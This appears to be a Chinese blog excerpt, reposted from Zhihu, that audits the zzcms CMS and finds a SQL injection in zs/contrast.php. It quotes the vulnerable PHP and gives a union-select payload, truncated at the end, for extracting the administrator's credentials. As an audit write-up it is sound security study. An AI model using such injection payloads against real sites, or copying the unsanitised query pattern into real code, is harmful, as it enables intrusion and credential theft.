作者:奶权来源:知乎著作权归作者所有。0X00 前言:今天无聊想找个cms来白盒审计一下 练练手于是就跑去站长之家看了一下轻量级的 那么就是他了0X01 白盒审计下载下来安装后 直接扔进法师大牛的源代码审计系统很快就定位到一个文件的一段sql代码文件位置:zs/contrast.php代码片段:$id='';
if(!empty($_POST['id'])){
for($i=0; $i<count($_POST['id']);$i++){
$id=$id.($_POST['id'][$i].',');
}
$id=substr($id,0,strlen($id)-1);
}
$sql="select * from zzcms_main where id in ($id)" ;
$rs=mysql_query($sql);这段代码讲人话就是把POST过来的id字段一个字一个字分开然后用”,”连接(我也不知道为什么这个程序员把”.=”写成了”=” 导致了”123”变成”1,” 原本应为”1,2,3,”)去掉最后的”,”后不经过任何过滤扔进sql语句里其实绕过这个substr很简单 只需要提交的时候加一个数组的下标就可以了例如绕过了后很容易写出爆管理员用户名密码的expid[0]=1)union select 1,CONCAT(0x73,0x71,0x6c
...
继续阅读
(6)